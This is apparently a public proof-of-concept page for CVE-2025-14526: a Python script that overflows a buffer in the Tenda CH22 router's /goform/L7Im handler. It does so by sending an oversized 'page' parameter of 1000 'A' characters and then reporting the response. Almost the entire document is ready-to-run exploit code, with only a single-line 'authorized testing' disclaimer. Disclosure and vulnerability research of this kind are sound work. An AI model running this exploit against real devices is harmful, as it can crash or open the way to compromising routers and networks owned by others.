CVE-2025-14526

#!/usr/bin/env python3 """ CVE-2025-14526 PoC - Tenda CH22 Buffer Overflow in /goform/L7Im This PoC demonstrates the buffer overflow vulnerability in the frmL7ImForm function. Note: Use only for authorized security testing. """ import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" target_port = 80 # Construct the malicious payload # The page parameter triggers buffer overflow when exceeding expected buffer size overflow_payload = "A" * 1000 # Adjust length based on target url = f"http://{target_ip}:{target_port}/goform/L7Im" params = { "page": overflow_payload } print(f"[*] Targeting: {url}") print(f"[*] Sending payload with length: {len(overflow_payload)}") try: response = requests.get(url, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Target may be vulnerable or unreachable")

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